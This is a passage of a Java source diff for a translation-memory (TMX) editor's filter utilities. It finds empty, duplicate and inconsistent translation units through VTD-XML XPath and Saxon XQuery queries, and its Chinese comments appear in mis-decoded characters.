" + (System.currentTimeMillis() - time1)); + } catch (Exception e) { + LOGGER.error(Messages.getString("utils.TmxFilterQueryUtil.LOG.getWithGarbleSegTU"), e); + } finally { + monitor.done(); + } + + return tuidentifieList; + } + + /** + * 8ã€èŽ·å–译文为空的文本段 + * @return ; + */ + public List getTgtNullSegTUIdentifies(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + List tuidentifieList = new ArrayList(); + long time1 = System.currentTimeMillis(); + monitor.beginTask("", container.getSubFiles().size()); + + VTDUtils vu = null; + VTDNav vn = null; + AutoPilot ap = new AutoPilot(); + + try { + for (String subFile : container.getSubFiles()) { + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vn.push(); + + // 译文为空的判断标准为: + String xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + + "'] and tuv[lower-case(@xml:lang)='" + tgtLang + "']]" + "/tuv[lower-case(@xml:lang)='" + + tgtLang + "']"; + ap.selectXPath(xpath); + int index = -1; + String hsid = null; + String tuID = null; + String nodeName = null; + String tgtText = null; + final TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + while (ap.evalXPath() != -1) { + tgtText = null; + vn.push(); + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } else { + continue; + } + tuID = subFile + TeCoreConstant.ID_MARK + hsid; + vn.pop(); + + // 开始获å–译文 + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + if (ignoreTag) { + tgtText = parser.getTmxPureText(tgtText); + } + } else { + vn.push(); + while (vn.toElement(VTDNav.NEXT_SIBLING)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + if (ignoreTag) { + tgtText = parser.getTmxPureText(tgtText); + } + break; + } + } + vn.pop(); + } + } + vn.pop(); + + if (TextUtil.checkStringEmpty(tgtText)) { + tuidentifieList.add(tuID); + } + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + vn.pop(); + } + monitor.done(); + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + } catch (Exception e) { + LOGGER.error(Messages.getString("utils.TmxFilterQueryUtil.LOG.getTgtNullSegTU"), e); + } finally { + monitor.done(); + } + + return tuidentifieList; + } + + /** + * æ ¹æ®ä¼ å…¥çš„临时文件的 id 的集åˆè¿›è¡ŒæŽ’åºï¼Œå€¼å¿…须为类似 0MARK50 + * @param indexFileIdList + * ; + */ + private static void indexFileIdListSort(List indexFileIdList) { + Collections.sort(indexFileIdList, new Comparator() { + @Override + public int compare(String o1, String o2) { + String[] indexArray1 = o1.split(TeCoreConstant.ID_MARK); + String[] indexArray2 = o2.split(TeCoreConstant.ID_MARK); + + int fileIndex1 = Integer.parseInt(indexArray1[0]); + int fileIndex2 = Integer.parseInt(indexArray2[0]); + + int tuIndex1 = Integer.parseInt(indexArray1[1]); + int tuIndex2 = Integer.parseInt(indexArray2[1]); + + if (fileIndex1 == fileIndex2) { + return tuIndex1 > tuIndex2 ? 1 : -1; + } else { + return fileIndex1 > fileIndex2 ? 1 : -1; + } + } + }); + } + + /** + * UNDO 所有的过滤器,因为译文为空的判断修改åŽï¼Œè¿™äº›è¿‡æ»¤å™¨ä¹Ÿè¦ä¿®æ”¹ï¼Œä½†æ˜¯ç›®å‰æœªå®Œæˆä¿®æ”¹ã€‚ --robert 2013-10-12 获å–自定义过滤器结果
    注æ„。本方法逻辑有点å¤æ‚,请勿修改,修改时请与 robert è”ç³»
    + * @return ; + */ + public List getCustomFilterTuIdentifies(IProgressMonitor monitor, TmxEditorFilterBean filterBean) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 5); + List tuidentifieList = new ArrayList(); + long time1 = System.currentTimeMillis(); + + VTDUtils vu = null; + VTDNav vn = null; + TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + Set useableIdxIdSet = new HashSet(); + // åªé’ˆå¯¹ã€€fitall 时。若fitAll 为false ,该集åˆä¸ä½¿ç”¨ + Set notUseableIdxIdSet = new HashSet(); + + try { + // æ ¹æ®äº”个处ç†å¯¹è±¡ï¼Œåˆ†æ‰¹æ¬¡è¿›è¡Œå¤„ç† + srcOrTgtOrNoteFilterQuery(new SubProgressMonitor(monitor, 1), vu, vn, parser, filterBean, useableIdxIdSet, + notUseableIdxIdSet, "src"); + srcOrTgtOrNoteFilterQuery(new SubProgressMonitor(monitor, 1), vu, vn, parser, filterBean, useableIdxIdSet, + notUseableIdxIdSet, "tgt"); + srcOrTgtOrNoteFilterQuery(new SubProgressMonitor(monitor, 1), vu, vn, parser, filterBean, useableIdxIdSet, + notUseableIdxIdSet, "note"); + fixedOrCustomPropFilterQuery(new SubProgressMonitor(monitor, 1), vu, vn, parser, filterBean, + useableIdxIdSet, notUseableIdxIdSet, true); + fixedOrCustomPropFilterQuery(new SubProgressMonitor(monitor, 1), vu, vn, parser, filterBean, + useableIdxIdSet, notUseableIdxIdSet, false); + + AutoPilot ap = new AutoPilot(); + + // 因为自定义过滤器是根æ®æ¯ç§ç±»åˆ«æ¥è¿›è¡Œå¤„ç†çš„。因此会打乱 tuID çš„é¡ºåº + final Map indexIDSortMap = new HashMap(); + String xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "']]"; + int subFileIndex = -1; + String hsid = null; + int index = -1; + // 下标标识符,å³ç”± subfileIndex + mark + hsid ç»„æˆ + String indexId = null; + int travleIdex = -1; + for (String subFile : container.getSubFiles()) { + subFileIndex++; + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vn.push(); + + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + travleIdex++; + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + indexId = subFileIndex + TeCoreConstant.ID_MARK + hsid; + indexIDSortMap.put(indexId, travleIdex); + } else { + continue; + } + } + } + + List indexIDList = new ArrayList(); + indexIDList.addAll(useableIdxIdSet); + // éšå³å¯¹ã€€tuidentifieList 结果集åˆè¿›è¡ŒæŽ’åºï¼Œä»¥ indexIDSortMap 中的顺åºä¸ºå‡† + Collections.sort(indexIDList, new Comparator() { + @Override + public int compare(String indexID1, String indexID2) { + return indexIDSortMap.get(indexID1).compareTo(indexIDSortMap.get(indexID2)); + } + }); + + for (String indexTUID : indexIDList) { + tuidentifieList.add(parseIdxId2Indetiferid(indexTUID)); + } + + } catch (Exception e) { + e.printStackTrace(); + } finally { + monitor.done(); + } + + System.out.println("自定义过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + return tuidentifieList; + } + + /** + * 自定义过滤器处ç†å¯¹è±¡ä¸ºæºæ–‡æˆ–译文的查询 + * @param vu + * @param vn + * @param parser + * @param filterBean + * @param useableIdxIdSet + * @param notUseableIdxIdSet + * @param objetFlag + * src: 针对æºæ–‡ï¼Œ tgt: 针对译文, note: 针对批注 + * @throws Exception + * ; + */ + private void srcOrTgtOrNoteFilterQuery(IProgressMonitor monitor, VTDUtils vu, VTDNav vn, TmxInnerTagParser parser, + TmxEditorFilterBean filterBean, Set useableIdxIdSet, Set notUseableIdxIdSet, + String objectFlag) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + int totalWork = container.getSubFiles().size(); + monitor.beginTask("", totalWork); + // 是å¦æ»¡è¶³å½“å‰è¿‡æ»¤å™¨çš„所有æ¡ä»¶ï¼Œtrue:满足所有æ¡ä»¶ï¼Œã€€false:满足以下任æ„一æ¡ä»¶ + boolean isFitAll = filterBean.isFitAll(); + List objectFilter = null; + String xpath = null; + if ("src".equals(objectFlag)) { + objectFilter = filterBean.getSrcFilter(); + xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + srcLang + "']/seg"; + } else if ("tgt".equals(objectFlag)) { + objectFilter = filterBean.getTgtFilter(); + xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + tgtLang + "']/seg"; + } else if ("note".equals(objectFlag)) { + objectFilter = filterBean.getNoteFilter(); + xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + + tgtLang + "']]/note"; + } else { + monitor.worked(totalWork); + monitor.done(); + return; + } + if (objectFilter.size() <= 0) { + monitor.worked(totalWork); + monitor.done(); + return; + } + + AutoPilot ap = new AutoPilot(); + + int subFileIndex = -1; + for (String subFile : container.getSubFiles()) { + subFileIndex++; + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vn.push(); + String text = null; + int index = -1; + String hsid = null; + // 下标标识符,å³ç”± subfileIndex + mark + hsid ç»„æˆ + String indexId = null; + + // 开始处ç†æ“作对象为 + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + vn.push(); + if (!"note".equals(objectFlag)) { + vn.toElement(VTDNav.PARENT); + } + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + vn.pop(); + if (index == -1) { + continue; + } + indexId = subFileIndex + TeCoreConstant.ID_MARK + hsid; + + // 首先判断是å¦é€‚用于所有 + if (isFitAll) { + if (notUseableIdxIdSet.contains(indexId)) { + continue; + } + } else { + if (useableIdxIdSet.contains(indexId)) { + continue; + } + } + + text = vu.getElementContent(); + if (ignoreTag) { + text = parser.getTmxPureText(text); + } + + for (Property srcPro : objectFilter) { + if (srcPro.getKey().equals(TeCoreConstant.FILTER_TYPE_equal)) { + if (ignoreCase ? text.equalsIgnoreCase(srcPro.getValue()) : text.equals(srcPro.getValue())) { + if (isFitAll) { + useableIdxIdSet.add(indexId); + } else { + useableIdxIdSet.add(indexId); + } + } else { + if (isFitAll) { + useableIdxIdSet.remove(indexId); + notUseableIdxIdSet.add(indexId); + } + } + } else if (srcPro.getKey().equals(TeCoreConstant.FILTER_TYPE_notEqual)) { + if (ignoreCase ? !text.equalsIgnoreCase(srcPro.getValue()) : !text.equals(srcPro.getValue())) { + if (isFitAll) { + useableIdxIdSet.add(indexId); + } else { + useableIdxIdSet.add(indexId); + } + } else { + if (isFitAll) { + useableIdxIdSet.remove(indexId); + notUseableIdxIdSet.add(indexId); + } + } + } else if (srcPro.getKey().equals(TeCoreConstant.FILTER_TYPE_include)) { + if (ignoreCase ? text.toLowerCase().indexOf(srcPro.getValue().toLowerCase()) != -1 : text + .indexOf(srcPro.getValue()) != -1) { + if (isFitAll) { + useableIdxIdSet.add(indexId); + } else { + useableIdxIdSet.add(indexId); + } + } else { + if (isFitAll) { + useableIdxIdSet.remove(indexId); + notUseableIdxIdSet.add(indexId); + } + } + } else if (srcPro.getKey().equals(TeCoreConstant.FILTER_TYPE_notInclude)) { + if (ignoreCase ? text.toLowerCase().indexOf(srcPro.getValue().toLowerCase()) == -1 : text + .indexOf(srcPro.getValue()) == -1) { + if (isFitAll) { + useableIdxIdSet.add(indexId); + } else { + useableIdxIdSet.add(indexId); + } + } else { + if (isFitAll) { + useableIdxIdSet.remove(indexId); + notUseableIdxIdSet.add(indexId); + } + } + } + } + } + vn.pop(); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + monitor.done(); + } + + /** + * 自定义过滤æ¡ä»¶ çš„ 固定属性的查询 + * @param vu + * @param vn + * @param parser + * @param filterBean + * @param useableIdxIdSet + * @param notUseableIdxIdSet + * ; + * @param isFixProperty + * 是å¦æ˜¯æ£€æŸ¥å›ºå®šå±žæ€§çš„过滤 + */ + private void fixedOrCustomPropFilterQuery(IProgressMonitor monitor, VTDUtils vu, VTDNav vn, + TmxInnerTagParser parser, TmxEditorFilterBean filterBean, Set useableIdxIdSet, + Set notUseableIdxIdSet, boolean isFixProperty) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + int totalWork = container.getSubFiles().size() + 1; + monitor.beginTask("", totalWork); + // 是å¦æ»¡è¶³å½“å‰è¿‡æ»¤å™¨çš„所有æ¡ä»¶ï¼Œtrue:满足所有æ¡ä»¶ï¼Œã€€false:满足以下任æ„一æ¡ä»¶ + boolean isFitAll = filterBean.isFitAll(); + List objectFilter = null; + if (isFixProperty) { + objectFilter = filterBean.getFixedPropFilter(); + } else { + objectFilter = filterBean.getCustomPropFilter(); + } + if (objectFilter.size() <= 0) { + monitor.worked(totalWork); + monitor.done(); + return; + } + + String xpath = null; + AutoPilot ap = new AutoPilot(); + // ä¿å­˜å½“å‰æ‰€æœ‰èŠ‚点的 indexId + Set curNoUseIdxIdSet = new HashSet(); + // 分两步走,第一步,先循环所有的 tu ,将所有的 tu indexId 加入到 curNoUseIdxIdSet 中。第二步,找出符åˆæ ‡å‡†çš„文本段,添加至 useableIdxIdSet + int subFileIndex = -1; + if (isFitAll) { + for (String subFile : container.getSubFiles()) { + subFileIndex++; + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vn.push(); + int index = -1; + String hsid = null; + // 下标标识符,å³ç”± subfileIndex + mark + hsid ç»„æˆ + String identifie = null; + xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + + tgtLang + "']]"; + // 开始处ç†æ“作对象为 + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + if (index == -1) { + continue; + } + identifie = subFileIndex + TeCoreConstant.ID_MARK + hsid; + curNoUseIdxIdSet.add(identifie); + } + vn.pop(); + } + } + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + + // 第二步,é历符åˆè¦æ±‚的文本段 + StringBuffer sb = new StringBuffer(); + sb.append("/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + tgtLang + + "'] and ("); + Property pro = null; + for (int i = 0; i < objectFilter.size(); i++) { + pro = objectFilter.get(i); + if (isFixProperty) { + if (ignoreCase) { + sb.append("lower-case(@").append(pro.getKey()).append(")='").append(pro.getValue().toLowerCase()) + .append("'"); + } else { + sb.append("@").append(pro.getKey()).append("='").append(pro.getValue()).append("'"); + } + } else { + if (ignoreCase) { + sb.append("prop[lower-case(@type)='").append(pro.getKey().toLowerCase()) + .append("' and lower-case(text())='").append(pro.getValue().toLowerCase()).append("']"); + } else { + sb.append("prop[@type='").append(pro.getKey()).append("' and text()='").append(pro.getValue()) + .append("']"); + } + } + + if (i < objectFilter.size() - 1) { + if (isFitAll) { + sb.append(" and "); + } else { + sb.append(" or "); + } + } + } + sb.append(")]"); + + xpath = sb.toString(); + subFileIndex = -1; + for (String subFile : container.getSubFiles()) { + subFileIndex++; + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vn.push(); + int index = -1; + String hsid = null; + // 下标标识符,å³ç”± subfileIndex + mark + hsid ç»„æˆ + String identifie = null; + // 开始处ç†æ“作对象为 + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + if (index == -1) { + continue; + } + identifie = subFileIndex + TeCoreConstant.ID_MARK + hsid; + if (isFitAll) { + curNoUseIdxIdSet.remove(identifie); + if (!notUseableIdxIdSet.contains(identifie)) { + useableIdxIdSet.add(identifie); + } + } else { + useableIdxIdSet.add(identifie); + } + } + vn.pop(); + + if (isFitAll) { + for (String curIdentifie : curNoUseIdxIdSet) { + if (useableIdxIdSet.contains(curIdentifie)) { + useableIdxIdSet.remove(curIdentifie); + } + } + notUseableIdxIdSet.addAll(curNoUseIdxIdSet); + curNoUseIdxIdSet.clear(); + } + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + monitor.done(); + } + + /** + * add by yule + * @param ignoreTag2 + * ; + */ + public void setIngoreTag(boolean ignoreTag) { + this.ignoreTag = ignoreTag; + } + + /** + * 查询需è¦åˆ é™¤é‡å¤çš„翻译å•å…ƒçš„Id值,ä¿ç•™æœ€æ–°ä¿®æ”¹æ—¶é—´ + * @return ; + */ + public List getDuplicate4DeleteIds(IProgressMonitor monitor) { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + SubProgressMonitor subGetJob = new SubProgressMonitor(monitor, 20); + List allSimpleTus = getAllSimpleTus(subGetJob, srcLang, tgtLang); + SubProgressMonitor subQuryJob = new SubProgressMonitor(monitor, 80); + return DeleteTUHelper.queryDeleteDulicateTuId(allSimpleTus, subQuryJob, ignoreCase); + } + + public void setIgnoreCase(boolean ignoreCase) { + this.ignoreCase = ignoreCase; + } + + /** + * 查询需è¦åˆ é™¤ç›¸åŒåŽŸæ–‡ä¸åŒè¯‘文的å•å…ƒçš„ID值,ä¿ç•™æœ€æ–°ä¿®æ”¹æ—¶é—´ + * @return ; + */ + public List getSrcSameButTgtDiff4DeleteIds(IProgressMonitor monitor) { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + SubProgressMonitor subGetJob = new SubProgressMonitor(monitor, 20); + List allSimpleTus = getAllSimpleTus(subGetJob, srcLang, tgtLang); + SubProgressMonitor subQuryJob = new SubProgressMonitor(monitor, 80); + return DeleteTUHelper.queryDeleteSrcSameDiffTgtTuId(allSimpleTus, subQuryJob, ignoreCase); + + } + + /** + * å°†hsId转æ¢æˆIndifier + * @param hsids + * @return ; + */ + private String parseIdxId2Indetiferid(String hsid) { + int id_mark = hsid.indexOf(TeCoreConstant.ID_MARK); + int fileIndex = Integer.parseInt(hsid.substring(0, id_mark)); + return container.getSubFiles().get(fileIndex) + hsid.substring(id_mark); + + } + + /** + * 获å–æºæ–‡ç›¸åŒè¯‘æ–‡ä¸åŒçš„ 文本段的 tuId, 返回结果的 tuID + * @param monitor + * @return ; + */ + public List> getSrcSameButTgtGroupTUID(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + long time1 = System.currentTimeMillis(); + + List> tuidentifieList = new ArrayList>(); + + // 此时 monitor 共有 10份,分8份用于创建索引文件 + monitor.beginTask("", 10); + indexFileLC = TeCoreUtils.createIndexFile(new SubProgressMonitor(monitor, 8), container, srcLang, tgtLang, + ignoreTag); + URI uri = new File(indexFileLC).toURI(); + String uriPath = uri.getPath(); + + try { + XQDataSource dataSource = new SaxonXQDataSource(); + + XQConnection conn = dataSource.getConnection(); + String queryString = "for $tu in doc('" + uriPath + "')/tus/tu order by $tu/@src return $tu"; + + XQExpression expression = conn.createExpression(); + XQSequence results = expression.executeQuery(queryString); + List> allNodeList = new ArrayList>(); + List nodeList = null; + String src = null; + while (results.next()) { + Node node = results.getNode(); + if (src == null) { + src = node.getAttributes().getNamedItem("src").getNodeValue(); + nodeList = new ArrayList(); + nodeList.add(node); + } else { + if (ignoreCase ? node.getAttributes().getNamedItem("src").getNodeValue().equalsIgnoreCase(src) + : node.getAttributes().getNamedItem("src").getNodeValue().equals(src)) { + nodeList.add(node); + } else { + if (nodeList.size() > 1) { + allNodeList.add(nodeList); + } + nodeList = new ArrayList(); + src = node.getAttributes().getNamedItem("src").getNodeValue(); + nodeList.add(node); + } + } + } + if (nodeList.size() > 1) { + allNodeList.add(nodeList); + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + + // 开始处ç†ã€€allNodeList + List> allIndexList = new ArrayList>(); + // ä¿å­˜ + List indexList = null; + for (List curNodeList : allNodeList) { + String tgtStr = ""; + for (Node curNode : curNodeList) { + if (tgtStr.isEmpty()) { + tgtStr = curNode.getAttributes().getNamedItem("tgt").getNodeValue(); + } else { + if (ignoreCase ? !tgtStr.equalsIgnoreCase(curNode.getAttributes().getNamedItem("tgt") + .getNodeValue()) : !tgtStr.equals(curNode.getAttributes().getNamedItem("tgt") + .getNodeValue())) { + indexList = new ArrayList(); + for (Node indexNode : curNodeList) { + indexList.add(indexNode.getAttributes().getNamedItem("id").getNodeValue()); + } + indexFileIdListSort(indexList); + allIndexList.add(indexList); + break; + } + } + } + } + + // 将 hsid 转æ¢æˆã€€tuId + for (List curList : allIndexList) { + List resultList = new ArrayList(); + for (String id : curList) { + resultList.add(parseIdxId2Indetiferid(id)); + } + tuidentifieList.add(resultList); + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } catch (Exception e) { + e.printStackTrace(); + return null; + } finally { + if (new File(indexFileLC).exists()) { + new File(indexFileLC).delete(); + } + } + + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + return tuidentifieList; + } + + /** + * 获å–译文相åŒæºæ–‡ä¸åŒçš„ 文本段的 tuId, 返回的结果是进行分组了的。 + * @param monitor + * @return ; + */ + public List> getTgtSameButSrcGroupTUID(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + long time1 = System.currentTimeMillis(); + + List> tuidentifieList = new ArrayList>(); + + monitor.beginTask("", 10); + // 分7份用于创建索引文件 + indexFileLC = TeCoreUtils.createIndexFile(new SubProgressMonitor(monitor, 8), container, srcLang, tgtLang, + ignoreTag); + URI uri = new File(indexFileLC).toURI(); + String uriPath = uri.getPath(); + try { + XQDataSource dataSource = new SaxonXQDataSource(); + + XQConnection conn = dataSource.getConnection(); + String queryString = "for $tu in doc('" + uriPath + "')/tus/tu order by $tu/@tgt return $tu"; + + XQExpression expression = conn.createExpression(); + XQSequence results = expression.executeQuery(queryString); + List> allNodeList = new ArrayList>(); + List nodeList = null; + String src = null; + while (results.next()) { + Node node = results.getNode(); + if (src == null) { + src = node.getAttributes().getNamedItem("tgt").getNodeValue(); + nodeList = new ArrayList(); + nodeList.add(node); + } else { + if (ignoreCase ? node.getAttributes().getNamedItem("tgt").getNodeValue().equalsIgnoreCase(src) + : node.getAttributes().getNamedItem("tgt").getNodeValue().equals(src)) { + nodeList.add(node); + } else { + if (nodeList.size() > 1) { + allNodeList.add(nodeList); + } + nodeList = new ArrayList(); + src = node.getAttributes().getNamedItem("tgt").getNodeValue(); + nodeList.add(node); + } + } + } + + if (nodeList.size() > 1) { + allNodeList.add(nodeList); + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + + // 开始处ç†ã€€allNodeList + List> allIndexList = new ArrayList>(); + // ä¿å­˜ + List indexList = null; + for (List curNodeList : allNodeList) { + String tgtStr = ""; + for (Node curNode : curNodeList) { + if (tgtStr.isEmpty()) { + tgtStr = curNode.getAttributes().getNamedItem("src").getNodeValue(); + } else { + if (ignoreCase ? !curNode.getAttributes().getNamedItem("src").getNodeValue() + .equalsIgnoreCase(tgtStr) : !curNode.getAttributes().getNamedItem("src").getNodeValue() + .equals(tgtStr)) { + indexList = new ArrayList(); + for (Node indexNode : curNodeList) { + indexList.add(indexNode.getAttributes().getNamedItem("id").getNodeValue()); + } + indexFileIdListSort(indexList); + allIndexList.add(indexList); + break; + } + } + } + } + + // 将 hsid 转æ¢æˆã€€tuId + for (List curList : allIndexList) { + List resultList = new ArrayList(); + for (String id : curList) { + resultList.add(parseIdxId2Indetiferid(id)); + } + tuidentifieList.add(resultList); + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } catch (Exception e) { + e.printStackTrace(); + return null; + } finally { + if (new File(indexFileLC).exists()) { + new File(indexFileLC).delete(); + } + } + + System.out.println("过滤所需耗时为: " + (System.currentTimeMillis() - time1)); + return tuidentifieList; + } + + public List getAllSimpleTus(IProgressMonitor monitor, String srclang, String tgtLang) { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", container.getSubFiles().size()); + List simpleTus = new ArrayList(); + for (String subFile : container.getSubFiles()) { + monitor.worked(1); + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("//tu"); + while (ap.evalXPath() != -1) { + TmxTU tu = new TmxTU(); + readTUAttr4VTDNav(vu, tu); + TmxFileDataAccessUtils.readTUTuv4VTDNav(vu, tu, srclang, tgtLang); + SimpleTUData sTu = ignoreTag ? new SimpleTUData(tu.getSource().getPureText(), tu.getTarget() + .getPureText(), tu.getTuId(), tu.getChangeDate()) : new SimpleTUData(tu.getSource() + .getFullText(), tu.getTarget().getFullText(), tu.getTuId(), tu.getChangeDate()); + sTu.setTuId(subFile + TeCoreConstant.ID_MARK + tu.getTuId());// reset the Indetifer + if(!sTu.isEmpty()){ + simpleTus.add(sTu); + } + } + } catch (VTDException e1) { + e1.printStackTrace(); + } + } + monitor.done(); + + return simpleTus; + } + + public void readTUAttr4VTDNav(VTDUtils vu, TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot apAttributes = new AutoPilot(vu.getVTDNav()); + apAttributes.selectXPath("@*"); + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + if (name.equals("hsid")) { + tu.setTuId(value); + } else if (name.equals("creationtool")) { + tu.setCreationTool(value); + } else if (name.equals("creationtoolversion")) { + tu.setCreationToolVersion(value); + } else if (name.equals("creationdate")) { + tu.setCreationDate(value); + } else if (name.equals("creationid")) { + tu.setCreationUser(value); + } else if (name.equals("changedate")) { + tu.setChangeDate(value); + } else if (name.equals("changeid")) { + tu.setChangeUser(value); + } else { + tu.appendAttribute(name, value); + } + } + vn.pop(); + } + + + /** + * 获å–所有 tu 的关键数æ®ï¼Œå¦‚ src(tgt)FullText, src(tgt)Puretext, indexID + *
    此方法仅适用于过滤器,若其他地方需è¦è°ƒç”¨ï¼Œè¯·è®¤çœŸæŸ¥çœ‹ä»£ç ã€‚
    + *
    此方法与 {@link QACommonFuction#getAllTuDataOfTmxList(net.heartsome.cat.te.core.qa.QAModel)} 相似,修改时,两个方法皆需修改。
    + * @return ; + */ + private List getAllTuDataOfTmxForFilter(IProgressMonitor monitor) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + final String TUVName = "tuv"; + final String SEGName = "seg"; + + List allTuDataBean = new ArrayList(); + final TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + + int index = -1; + int subFileIndex = -1; + + for (String subFile : container.getSubFiles()) { + subFileIndex = container.getSubFiles().indexOf(subFile); + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + ap.bind(vn); + vn.push(); + String xpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] " + + "and tuv[lower-case(@xml:lang)='" + tgtLang + "']]"; + ap.selectXPath(xpath); + + String srcText = null; + String tgtText = null; + TmxSegement srcSeg = null; + TmxSegement tgtSeg = null; + String curLang = ""; + String nodeName = ""; + TmxTU tuDataBean = new TmxTU(); + while (ap.evalXPath() != -1) { + srcText = null; + tgtText = null; + + curLang = ""; + tuDataBean = new TmxTU(); + + if ((index = vn.getAttrVal("hsid")) != -1) { + tuDataBean.setTmId(Integer.parseInt(vn.toRawString(index))); + tuDataBean.setFidx(subFileIndex); + }else { + continue; + } + + // 先切æ¢åˆ°å­èŠ‚点 + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equals(TUVName)) { + if ((index = vn.getAttrVal("xml:lang")) != -1) { + curLang = vn.toRawString(index); + if (curLang.equalsIgnoreCase(srcLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + }else if (curLang.equalsIgnoreCase(tgtLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + } + } + } + + // 开始é历 tu 第一个å­èŠ‚点,找出 tuv + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equals(TUVName)) { + if ((index = vn.getAttrVal("xml:lang")) != -1) { + curLang = vn.toRawString(index); + if 